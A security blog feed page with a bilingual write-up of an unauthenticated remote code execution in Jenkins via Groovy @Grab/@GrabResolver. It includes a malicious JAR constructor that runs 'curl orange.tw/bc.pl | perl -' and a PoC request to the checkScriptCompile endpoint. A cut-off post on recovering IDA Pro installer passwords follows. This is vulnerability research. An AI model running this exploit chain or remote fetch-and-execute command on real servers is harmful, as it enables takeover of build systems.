Quantcast
Channel: DEVCORE 戴夫寇爾
Viewing all 145 articles
Browse latest View live

Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!

$
0
0

English Version
中文版本

嗨! 大家今天過得好嗎?

這篇文章是 Hacking Jenkins 系列的下集! 給那些還沒看過上篇文章的同學,可以訪問下面鏈結,補充一些基本知識及了解之前如何從 Jenkins 中的動態路由機制到串出各種不同的攻擊鏈!

如上篇文章所說,為了最大程度發揮漏洞的效果,想尋找一個代碼執行的漏洞可以與 ACL 繞過漏洞搭配,成為一個不用認證的遠端代碼執行! 不過在最初的嘗試中失敗了,由於動態路由機制的特性,Jenkins 在遇到一些危險操作時(如Script Console)都會再次的檢查權限! 導致就算可以繞過最前面的 ACL 層依然無法做太多事情!

直到 Jenkins 在 2018-12-05 發佈的 Security Advisory修復了前述我所回報的動態路由漏洞! 為了開始撰寫這份技術文章(Hacking Jenkins 系列文),我重新複習了一次當初進行代碼審查的筆記,當中對其中一個跳板(gadget)想到了一個不一樣的利用方式,因而有了這篇故事! 這也是近期我所寫過覺得比較有趣的漏洞之一,非常推薦可以仔細閱讀一下!


漏洞分析


要解釋這次的漏洞 CVE-2019-1003000必須要從 Pipeline 開始講起! 大部分開發者會選擇 Jenkins 作為 CI/CD 伺服器的其中一個原因是因為 Jenkins 提供了一個很強大的 Pipeline 功能,使開發者可以方便的去撰寫一些 Build Script 以完成自動化的編譯、測試及發佈! 你可以想像 Pipeline 就是一個小小的微語言可以去對 Jenkins 進行操作(而實際上 Pipeline 是基於 Groovy 的一個 DSL)

為了檢查使用者所撰寫的 Pipeline Script 有沒有語法上的錯誤(Syntax Error),Jenkins 提供了一個介面給使用者檢查自己的 Pipeline! 這裡你可以想像一下,如果你是程式設計師,你要如何去完成這個功能呢? 你可以自己實現一個語法樹(AST, Abstract Syntax Tree)解析器去完成這件事,不過這太累了,最簡單的方式當然是套用現成的東西!

前面提到,Pipeline 是基於 Groovy 所實現的一個 DSL,所以 Pipeline 必定也遵守著 Groovy 的語法! 所以最簡單的方式是,只要 Groovy 可以成功解析(parse),那就代表這份 Pipeline 的語法一定是對的! Jenkins 實作檢查的程式碼約是下面這樣子:

publicJSONdoCheckScriptCompile(@QueryParameterStringvalue){try{CpsGroovyShelltrusted=newCpsGroovyShellFactory(null).forTrusted().build();newCpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value);}catch(CompilationFailedExceptionx){returnJSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());}returnCpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();// Approval requirements are managed by regular stapler form validation (via doCheckScript)}

這裡使用了 GroovyClassLoader.parseClass(…)去完成 Groovy 語法的解析! 值得注意的是,由於這只是一個 AST 的解析,在沒有執行 execute()的方法前,任何危險的操作是不會被執行的,例如嘗試去解析這段 Groovy 代碼會發現其實什麼事都沒發生 :(

this.class.classLoader.parseClass('''
print java.lang.Runtime.getRuntime().exec("id")
''');

從程式開發者的角度來看,Pipeline 可以操作 Jenkins 那一定很危險,因此要用嚴格的權限保護住! 但這只是一段簡單的語法錯誤檢查,而且呼叫到的地方很多,限制太嚴格的權限只會讓自己綁手綁腳的!

上面的觀點聽起來很合理,就只是一個 AST 的解析而且沒有任何 execute()方法應該很安全,但恰巧這裡就成為了我們第一個入口點! 其實第一次看到這段代碼時,也想不出什麼利用方法就先跳過了,直到要開始撰寫技術文章重新溫習了一次,我想起了說不定 Meta-Programming 會有搞頭!


什麼是 Meta-Programming


首先我們來解釋一下什麼是 Meta-Programming!

Meta-Programming 是一種程式設計的思維! Meta-Programming 的精髓在於提供了一個抽象層次給開發者用另外一種思維去撰寫更高靈活度及更高開發效率的代碼。其實 Meta-Programming 並沒有一個很嚴謹的定義,例如使用程式語言編譯所留下的 Metadata 去動態的產生程式碼,或是把程式自身當成資料,透過編譯器(compiler)或是直譯器(interpreter)去撰寫代碼都可以被說是一種 Meta-Programming! 而其中的哲學其實非常廣泛甚至已經可以被當成程式語言的一個章節來獨立探討!

大部分的文章或是書籍在解釋 Meta-Programming 的時候通常會這樣解釋:

用程式碼(code)產生程式碼(code)

如果還是很難理解,你可以想像程式語言中的 eval(...)其實就是一種廣義上的 Meta-Programming! 雖然不甚精確,但用這個比喻可以快速的理解 Meta-Programming! 其實就是用程式碼(eval 這個函數)去產生程式碼(eval 出來的函數)! 在程式開發上,Meta-Programming 也有著極其多的應用,例如:

  • C 語言中的 Macro
  • C++ 的 Template
  • Ruby (Ruby 本身就是一門將 Meta-Programming 發揮到極致的語言,甚至還有專門的書1, 書2)
  • Java 的 Annotation 註解
  • 各種 DSL(Domain Specific Language) 應用,例如 SinatraGradle

而當我們在談論 Meta-Programming 時,依照作用的範圍我們大致分成 (1)編譯時期(2)執行時期這兩種 Meta-Programming! 而我們今天的重點,就是在編譯時期的 Meta-Programming!

P.S. 我也不是一位 Programming Language 大師,如有不精確或者覺得教壞小朋友的地方再請多多包涵 <(_ _)>


如何利用


從前面的段落中我們發現 Jenkins 使用 parseClass(…)去檢查語法錯誤,我們也想起了 Meta-Programming 可在編譯時期對程式碼做一些動態的操作! 設計一個編譯器(或解析器)是一件很麻煩的事情,裡面會有各種骯髒的實作或是奇怪的功能,所以一個很直覺的想法就是,是否可以透過編譯器一些副作用(Side Effect)去完成一些事情呢?

舉幾個淺顯易懂的例子,如 C 語言巨集擴展所造成的資源耗盡

#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
#define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a
#define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b
#define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c
#define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d
#define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e
__int128x[]={f,f,f,f,f,f,f,f};

編譯器的資源耗盡(用 18 bytes 產生 16G 的執行檔)

intmain[-1u]={1};

或是用編譯器來幫你算費式數列

template<intn>structfib{staticconstintvalue=fib<n-1>::value+fib<n-2>::value;};template<>structfib<0>{staticconstintvalue=0;};template<>structfib<1>{staticconstintvalue=1;};intmain(){inta=fib<10>::value;// 55intb=fib<20>::value;// 6765intc=fib<40>::value;// 102334155}

從組合語言的結果可以看出這些值在編譯期間就被計算好填充進去,而不是執行期間!

$ g++ template.cpp -o template
$ objdump -M intel -d template
...
00000000000005fa <main>:
 5fa:   55                      push   rbp
 5fb:   48 89 e5                mov    rbp,rsp
 5fe:   c7 45 f4 37 00 00 00    mov    DWORD PTR [rbp-0xc],0x37
 605:   c7 45 f8 6d 1a 00 00    mov    DWORD PTR [rbp-0x8],0x1a6d
 60c:   c7 45 fc cb 7e 19 06    mov    DWORD PTR [rbp-0x4],0x6197ecb
 613:   b8 00 00 00 00          mov    eax,0x0
 618:   5d                      pop    rbp
 619:   c3                      ret
 61a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
...

更多的例子你可以參考 StackOverflow 上的 Build a Compiler Bomb這篇文章!


首次嘗試


回到我們的漏洞利用上,Pipeline 是基於 Groovy 上的一個 DSL 實作,而 Groovy 剛好就是一門對於 Meta-Programming 非常友善的語言! 翻閱著 Grovvy 官方的 Meta-Programming 手冊開始尋找各種可以利用的方法! 在 2.1.9 章「測試協助」這個段落發現了 @groovy.transform.ASTTest這個註解,仔細觀察它的敘述:

@ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the bytecode is produced. @ASTTest can be placed on any annotable node and requires two parameters:

什麼! 可以在 AST 上執行一個 assertion? 這不就是我們要的嗎? 趕緊先在本地寫個 Proof-of-Concept 嘗試是否可行:

this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("touch pwned")
})
def x
''');
$ ls
poc.groovy

$ groovy poc.groovy
$ ls
poc.groovy  pwned

幹,可以欸! 但代誌並不是憨人想的那麼簡單! 嘗試在遠端 Jenkins 重現時,出現了:

unable to resolve class org.jenkinsci.plugins.workflow.libs.Library

真是黑人問號,森77,這到底是三小啦!!!

認真追了一下 root cause 才發現是 Pipeline Shared Groovy Libraries Plugin這個插件在作怪! 為了方便使用者可重複使用在編寫 Pipeline 常用到的功能,Jenkins 提供了這個插件可在 Pipeline 中引入自定義的函式庫! Jenkins 會在所有 Pipeline 執行前引入這個函式庫,而在編譯時期的 classPath 中並沒有相對應的函式庫因而導致了這個錯誤!

想解決這個問題很簡單,到 Jenkins Plugin Manager中將 Pipeline Shared Groovy Libraries Plugin移除即可解決這個問題並執行任意代碼!

不過這絕對不是最佳解! 這個插件會隨著 Pipeline 被自動安裝,為了要成功利用這個漏洞還得先要求管理員把它移除實在太蠢了! 因此這條路只能先打住,繼續尋找下一個方法!


再次嘗試


繼續閱讀 Groovy Meta-Programming 手冊,我們發現了另一個有趣的註解 @Grab,關於 @Grab手冊中並沒有詳細的描述,但使用 Google 我們發現了另一篇文章 - Dependency management with Grape!

原來 Grape(@Grab) 是一個 Groovy 內建的動態 JAR 相依性管理程式! 可讓開發者動態的引入不在 classPath 上的函式庫! Grape 的語法如下:

@Grab(group='org.springframework',module='spring-orm',version='3.2.5.RELEASE')importorg.springframework.jdbc.core.JdbcTemplate

配合 @grab的註解,可讓 Groovy 在編譯時期自動引入不存在於 classPath 中的 JAR 檔! 但如果你的目的只是要在一個有執行 Pipeline 權限的帳號上繞過原有 Pipeline 的 Sandbox 的話,這其實就足夠了! 例如你可以參考 @adamyordan所提供的 PoC,在已知使用者帳號與密碼及權限足夠的情況下,達到遠端代碼執行的效果!

但在沒有帳號密碼及 execute()的方法下,這只是一個簡單的語法樹解析器,你甚至無法控制遠端伺服器上的檔案,所以該怎麼辦呢? 我們繼續研究下去,並發現了一個很有趣的註解叫做 @GrabResolver,用法如下:

@GrabResolver(name='restlet',root='http://maven.restlet.org/')@Grab(group='org.restlet',module='org.restlet',version='1.1.6')importorg.restlet

看到這個,聰明的你應該會很想把 root改成惡意網址對吧! 我們來試試會怎麼樣吧!

this.class.classLoader.parseClass('''
@GrabResolver(name='restlet', root='http://orange.tw/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
''')
11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-""Apache Ivy/2.4.0"

喔幹,真的會來存取欸! 到這裡我們已經確信了透過 Grape 可以讓 Jenkins 引入惡意的函式庫! 但下一個問題是,要如何執行代碼呢?


如何執行任意代碼?


在漏洞的利用中總是在研究如何從簡單的任意讀、任意寫到取得系統執行的權限! 從前面的例子中,我們已經可以透過 Grape 去寫入惡意的 JAR 檔到遠端伺服器,但要怎麼執行這個 JAR 檔呢? 這又是另一個問題!

跟進 Groovy 語言核心查看對於 Grape 的實作,我們知道網路層的抓取是透過 groovy.grape.GrapeIvy這個類別來完成! 所以開始尋找實作中是否有任何可以執行代碼的機會! 其中,我們看到了一個有趣的方法 - processOtherServices(…):

voidprocessOtherServices(ClassLoaderloader,Filef){try{ZipFilezf=newZipFile(f)ZipEntryserializedCategoryMethods=zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")if(serializedCategoryMethods!=null){processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))}ZipEntrypluginRunners=zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")if(pluginRunners!=null){processRunners(zf.getInputStream(pluginRunners),f.getName(),loader)}}catch(ZipExceptionignore){// ignore files we can't process, e.g. non-jar/zip artifacts// TODO log a warning}}

由於 JAR 檔案其實就是一個 ZIP 壓縮格式的子集,Grape 會檢查檔案中是否存在一些指定的入口點,其中一個 Runner的入口點檢查引起了我們的興趣,持續跟進 processRunners(…)的實作我們發現:

voidprocessRunners(InputStreamis,Stringname,ClassLoaderloader){is.text.readLines().each{GroovySystem.RUNNER_REGISTRY[name]=loader.loadClass(it.trim()).newInstance()}}

這裡的 newInstance()不就代表著可以呼叫到任意類別的 Constructor嗎? 沒錯! 所以只需產生一個惡意的 JAR 檔,把要執行的類別全名放至 META-INF/services/org.codehaus.groovy.plugins.Runners中即可呼叫指定類別的Constructor去執行任意代碼! 完整的漏洞利用過程如下:

publicclassPoc{publicPoc(){try{Stringpayload="curl orange.tw/bc.pl | perl -";String[]cmds={"/bin/bash","-c",payload};java.lang.Runtime.getRuntime().exec(cmds);}catch(Exceptione){}}}
$ javac Orange.java
$ mkdir-p META-INF/services/
$ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...

PoC:

http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;

影片:


後記


到此,我們已經可以完整的控制遠端伺服器! 透過 Meta-Programming 在語法樹解析時期去引入惡意的 JAR 檔,再透過 Java 的 Static Initializer 特性去執行任意指令! 雖然 Jenkins 有內建的 Groovy Sandbox(Script Security Plugin),但這個漏洞是在編譯階段而非執行階段,導致 Sandbox 毫無用武之處!

由於這是對於 Groovy 底層的一種攻擊方式,因此只要是所有可以碰觸到 Groovy 解析的地方皆有可能有漏洞產生! 而這也是這個漏洞好玩的地方,打破了一般開發者認為沒有執行就不會有問題的思維,對攻擊者來說也用了一個沒有電腦科學的理論知識背景不會知道的方法攻擊! 不然你根本不會想到 Meta-Programming! 除了我回報的 doCheckScriptCompile(...)toJson(...)兩個進入點外,在漏洞被修復後,Mikhail Egorov也很快的找到了另外一個進入點去觸發這個漏洞!

除此之外,這個漏洞更可以與我前一篇 Hacking Jenkins Part 1所發現的漏洞串起來,去繞過 Overall/Read 的限制成為一個名符其實不用認證的遠端代碼執行漏洞!(如果你有好好的讀完這兩篇文章,應該對你不是難事XD) 至於有沒有更多的玩法? 就交給大家自由發揮串出自己的攻擊鏈囉!

感謝大家的閱讀,Hacking Jenkins 系列文就在這裡差不多先告一個段落囉! 未來將會再發表更多有趣的技術研究敬請期待!


Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!(EN)

$
0
0

English Version
中文版本

Hello everyone!

This is the Hacking Jenkins series part two! For those people who still have not read the part one yet, you can check the following link to get some basis and see how vulnerable Jenkins’ dynamic routing is!

As the previous article said, in order to utilize the vulnerability, we want to find a code execution can be chained with the ACL bypass vulnerability to a well-deserved pre-auth remote code execution! But, I failed. Due to the feature of dynamic routing, Jenkins checks the permission again before most dangerous invocations(Such as the Script Console)! Although we could bypass the first ACL, we still can’t do much things :(

After Jenkins released the Security Advisory and fixed the dynamic routing vulnerability on 2018-12-05, I started to organize my notes in order to write this Hacking Jenkins series. While reviewing notes, I found another exploitation way on a gadget that I failed to exploit before! Therefore, the part two is the story for that! This is also one of my favorite exploits and is really worth reading :)


Vulnerability Analysis


First, we start from the Jenkins Pipeline to explain CVE-2019-1003000! Generally the reason why people choose Jenkins is that Jenkins provides a powerful Pipeline feature, which makes writing scripts for software building, testing and delivering easier! You can imagine Pipeline is just a powerful language to manipulate the Jenkins(In fact, Pipeline is a DSL built with Groovy)

In order to check whether the syntax of user-supplied scripts is correct or not, Jenkins provides an interface for developers! Just think about if you are the developer, how will you implement this syntax-error-checking function? You can just write an AST(Abstract Syntax Tree) parser by yourself, but it’s too tough. So the easiest way is to reuse existing function and library!

As we mentioned before, Pipeline is just a DSL built with Groovy, so Pipeline must follow the Groovy syntax! If the Groovy parser can deal with the Pipeline script without errors, the syntax must be correct! The code fragments here shows how Jenkins validates the Pipeline:

publicJSONdoCheckScriptCompile(@QueryParameterStringvalue){try{CpsGroovyShelltrusted=newCpsGroovyShellFactory(null).forTrusted().build();newCpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value);}catch(CompilationFailedExceptionx){returnJSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());}returnCpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();// Approval requirements are managed by regular stapler form validation (via doCheckScript)}

Here Jenkins validates the Pipeline with the method GroovyClassLoader.parseClass(…)! It should be noted that this is just an AST parsing. Without running execute() method, any dangerous invocation won’t be executed! If you try to parse the following Groovy script, you get nothing :(

this.class.classLoader.parseClass('''
print java.lang.Runtime.getRuntime().exec("id")
''');

From the view of developers, the Pipeline can control Jenkins, so it must be dangerous and requires a strict permission check before every Pipeline invocation! However, this is just a simple syntax validation so the permission check here is more less than usual! Without any execute() method, it’s just an AST parser and must be safe! This is what I thought when the first time I saw this validation. However, while I was writing the technique blog, Meta-Programming flashed into my mind!


What is Meta-Programming


Meta-Programming is a kind of programming concept! The idea of Meta-Programming is providing an abstract layer for programmers to consider the program in a different way, and makes the program more flexible and efficient! There is no clear definition of Meta-Programming. In general, both processing the program by itself and writing programs that operate on other programs(compiler, interpreter or preprocessor…) are Meta-Programming! The philosophy here is very profound and could even be a big subject on Programming Language!

If it is still hard to understand, you can just regard eval(...) as another Meta-Programming, which lets you operate the program on the fly. Although it’s a little bit inaccurate, it’s still a good metaphor for understanding! In software engineering, there are also lots of techniques related to Meta-Programming. For example:

  • C Macro
  • C++ Template
  • Java Annotation
  • Ruby (Ruby is a Meta-Programming friendly language, even there are books for that)
  • DSL(Domain Specific Languages, such as Sinatra and Gradle)

When we are talking about Meta-Programming, we classify it into (1)compile-time and (2)run-time Meta-Programming according to the scope. Today, we focus on the compile-time Meta-Programming!

P.S. It’s hard to explain Meta-Programming in non-native language. If you are interested, here are some materials! Wiki, Ref1, Ref2
P.S. I am not a programming language master, if there is anything incorrect or inaccurate, please forgive me <(_ _)>


How to Exploit?


From the previous section we know Jenkins validates Pipeline by parseClass(…) and learn that Meta-Programming can poke the parser during compile-time! Compiling(or parsing) is a hard work with lots of tough things and hidden features. So, the idea is, is there any side effect we can leverage?

There are many simple cases which have proved Meta-Programming can make the program vulnerable, such as the macro expansion in C language:

#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
#define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a
#define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b
#define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c
#define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d
#define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e
__int128x[]={f,f,f,f,f,f,f,f};

or the compiler resource bomb(make a 16GB ELF by just 18 bytes):

intmain[-1u]={1};

or calculating the Fibonacci number by compiler

template<intn>structfib{staticconstintvalue=fib<n-1>::value+fib<n-2>::value;};template<>structfib<0>{staticconstintvalue=0;};template<>structfib<1>{staticconstintvalue=1;};intmain(){inta=fib<10>::value;// 55intb=fib<20>::value;// 6765intc=fib<40>::value;// 102334155}

From the assembly language of compiled binary, we can make sure the result is calculated at compile-time, not run-time!

$ g++ template.cpp -o template
$ objdump -M intel -d template
...
00000000000005fa <main>:
 5fa:   55                      push   rbp
 5fb:   48 89 e5                mov    rbp,rsp
 5fe:   c7 45 f4 37 00 00 00    mov    DWORD PTR [rbp-0xc],0x37
 605:   c7 45 f8 6d 1a 00 00    mov    DWORD PTR [rbp-0x8],0x1a6d
 60c:   c7 45 fc cb 7e 19 06    mov    DWORD PTR [rbp-0x4],0x6197ecb
 613:   b8 00 00 00 00          mov    eax,0x0
 618:   5d                      pop    rbp
 619:   c3                      ret
 61a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
...

For more examples, you can refer to the article Build a Compiler Bomb on StackOverflow!


First Attempt


Back to our exploitation, Pipeline is just a DSL built with Groovy, and Groovy is also a Meta-Programming friendly language. We start reading the Groovy official Meta-Programming manual to find some exploitation ways. In the section 2.1.9, we found the @groovy.transform.ASTTest annotation. Here is its description:

@ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the Bytecode is produced. @ASTTest can be placed on any annotable node and requires two parameters:

What! perform assertions on the AST? Isn’t that what we want? Let’s write a simple Proof-of-Concept in local environment first:

this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("touch pwned")
})
def x
''');
$ ls
poc.groovy

$ groovy poc.groovy
$ ls
poc.groovy  pwned

Cool, it works! However, while reproducing this on the remote Jenkins, it shows:

unable to resolve class org.jenkinsci.plugins.workflow.libs.Library

What the hell!!! What’s wrong with that?

With a little bit digging, we found the root cause. This is caused by the Pipeline Shared Groovy Libraries Plugin! In order to reuse functions in Pipeline, Jenkins provides the feature that can import customized library into Pipeline! Jenkins will load this library before every executed Pipeline. As a result, the problem become lack of corresponding library in classPath during compile-time. That’s why the error unsable to resolve class occurs!

How to fix this problem? It’s simple! Just go to Jenkins Plugin Manager and remove the Pipeline Shared Groovy Libraries Plugin! It can fix the problem and then we can execute arbitrary code without any error! But, this is not a good solution because this plugin is installed along with the Pipeline. It’s lame to ask administrator to remove the plugin for code execution! We stop digging this and try to find another way!


Second Attempt


We continued reading the Groovy Meta-Programming manual and found another interesting annotation - @Grab. There is no detailed information about @Grab on the manual. However, we found another article - Dependency management with Grape on search engine!

Oh, from the article we know Grape is a built-in JAR dependency management in Groovy! It can help programmers import the library which are not in classPath. The usage looks like:

@Grab(group='org.springframework',module='spring-orm',version='3.2.5.RELEASE')importorg.springframework.jdbc.core.JdbcTemplate

By using @Grab annotation, it can import the JAR file which is not in classPath during compile-time automatically! If you just want to bypass the Pipeline sandbox via a valid credential and the permission of Pipeline execution, that’s enough. You can follow the PoC proveded by @adamyordan to execute arbitrary commands!

However, without a valid credential and execute() method, this is just an AST parser and you even can’t control files on remote server. So, what can we do? By diving into more about @Grab, we found another interesting annotation - @GrabResolver:

@GrabResolver(name='restlet',root='http://maven.restlet.org/')@Grab(group='org.restlet',module='org.restlet',version='1.1.6')importorg.restlet

If you are smart enough, you would like to change the root parameter to a malicious website! Let’s try this in local environment:

this.class.classLoader.parseClass('''
@GrabResolver(name='restlet', root='http://orange.tw/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
''')
11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-""Apache Ivy/2.4.0"

Wow, it works! Now, we believe we can make Jenkins import any malicious library by Grape! However, the next problem is, how to get code execution?


The Way to Code Execution


In the exploitation, the target is always escalating the read primitive or write primitive to code execution! From the previous section, we can write malicious JAR file into remote Jenkins server by Grape. However, the next problem is how to execute code?

By diving into Grape implementation on Groovy, we realized the library fetching is done by the class groovy.grape.GrapeIvy! We started to find is there any way we can leverage, and we noticed an interesting method processOtherServices(…)!

voidprocessOtherServices(ClassLoaderloader,Filef){try{ZipFilezf=newZipFile(f)ZipEntryserializedCategoryMethods=zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")if(serializedCategoryMethods!=null){processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))}ZipEntrypluginRunners=zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")if(pluginRunners!=null){processRunners(zf.getInputStream(pluginRunners),f.getName(),loader)}}catch(ZipExceptionignore){// ignore files we can't process, e.g. non-jar/zip artifacts// TODO log a warning}}

JAR file is just a subset of ZIP format. In the processOtherServices(…), Grape registers servies if there are some specified entry points. Among them, the Runner interests me. By looking into the implementation of processRunners(…), we found this:

voidprocessRunners(InputStreamis,Stringname,ClassLoaderloader){is.text.readLines().each{GroovySystem.RUNNER_REGISTRY[name]=loader.loadClass(it.trim()).newInstance()}}

Here we see the newInstance(). Does it mean that we can call Constructor on any class? Yes, so, we can just create a malicious JAR file, and put the class name into the file META-INF/services/org.codehaus.groovy.plugins.Runners and we can invoke the Constructor and execute arbitrary code!

Here is the full exploit:

publicclassPoc{publicPoc(){try{Stringpayload="curl orange.tw/bc.pl | perl -";String[]cmds={"/bin/bash","-c",payload};java.lang.Runtime.getRuntime().exec(cmds);}catch(Exceptione){}}}
$ javac Orange.java
$ mkdir-p META-INF/services/
$ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...

PoC:

http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;

Video:


Epilogue


With the exploit, we can gain full access on remote Jenkins server! We use Meta-Programming to import malicious JAR file during compile-time, and executing arbitrary code by the Runner service! Although there is a built-in Groovy Sandbox(Script Security Plugin) on Jenkins to protect the Pipeline, it’s useless because the vulnerability is in compile-time, not in run-time!

Because this is an attack vector on Groovy core, all methods related to the Groovy parser are affected! It breaks the developer’s thought which there is no execution so there is no problem. It is also an attack vector that requires the knowledge about computer science. Otherwise, you cannot think of the Meta-Programming! That’s what makes this vulnerability interesting. Aside from entry points doCheckScriptCompile(...) and toJson(...) I reported, after the vulnerability has been fixed, Mikhail Egorov also found another entry point quickly to trigger this vulnerability!

Apart from that, this vulnerability can also be chained with my previous exploit on Hacking Jenkins Part 1 to bypass the Overall/Read restriction to a well-deserved pre-auth remote code execution. If you fully understand the article, you know how to chain :P

Thank you for reading this article and hope you like it! Here is the end of Hacking Jenkins series, I will publish more interesting researches in the future :)

破密行動: 以不尋常的角度破解 IDA Pro 偽隨機數

$
0
0

English Version
中文版本

前言

Hex-Rays IDA Pro 是目前世界上最知名的反組譯工具,今天我們想來聊聊它的安裝密碼。什麼是安裝密碼?一般來說,在完成 IDA Pro 購買流程後,會收到一個客製化安裝檔及安裝密碼,在程式安裝過程中,會需要那組安裝密碼才得以繼續安裝。那麼,如果今天在網路上發現一包洩漏的 IDA Pro 安裝檔,我們有可能在不知道密碼的狀況下順利安裝嗎?這是一個有趣的開放性問題。

在我們團隊成員腦力激盪下,給出了一個驗證性的答案:是的,在有 Linux 或 MacOS 版安裝檔的狀況下,我們可以直接找到正確的安裝密碼;而在有 Windows 版安裝檔的狀況下,我們只需要十分鐘就可算出安裝密碼。

下面就是我們的驗證流程:

* Linux 以及 MacOS 版

最先驗證成功的是 Linux 及 MacOS 版,這兩個版本都是透過 InstallBuilder 封裝成安裝檔。我們嘗試執行安裝程式,並在記憶體中直接發現了未加密的安裝密碼。任務達成!

在透過 Hex-Rays 協助回報後,BitRock也在 2019/02/11 釋出了 InstallBuilder 19.2.0,加強了安裝密碼的保護。

* Windows 版

在 Windows 版上解決這個問題是項挑戰,因為這個安裝檔是透過 Inno Setup封裝的,其安裝密碼是採用 160-bit SHA-1 hash的方式儲存,因此我們無法透過靜態、動態程式分析直接取得密碼,透過暴力列舉也不是一個有效率的方式。不過,如果我們掌握了產生密碼的方式,那結果可能就不一樣了,我們也許可以更有效率的窮舉。

雖然我們已經有了方向是要找出 Hex-Rays 如何產生密碼,但要去驗證卻是”非常困難”的。因為我們不知道亂數產生器是用什麼語言實作的,而目前已知至少有 88 種亂數產生器,種類太多了。同時,我們也無法知道亂數產生器所使用的字元組和字元順序是什麼。

要找出亂數產生器所使用的字元組是眾多困難事中比較簡單的一件,首先,我們竭盡所能的收集所有 IDA Pro 的安裝密碼,例如 WikiLeaks 所揭露的 hackingteam 使用之密碼:

從所有收集到的安裝密碼中我們整理出所用到的字元組:
23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz

少了 1, I, l, 0, O, o, N, n字元,推測這些都是容易混淆的字元,因此不放入密碼字元組中是合理的。接著,我們用這些字元組,猜測可能的排列順序:

23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz
ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz
23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ
abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ
abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789
ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789

最後,我們挑選幾個比較常見的語言(c/php/python/perl)並使用上述的字元組實作亂數產生器,列舉所有亂數組合,看看我們收集到的安裝密碼有沒有出現在這些組合中。例如我們用下面程式碼列舉 C 語言的亂數組合:

#include<stdio.h>
#include<stdlib.h>
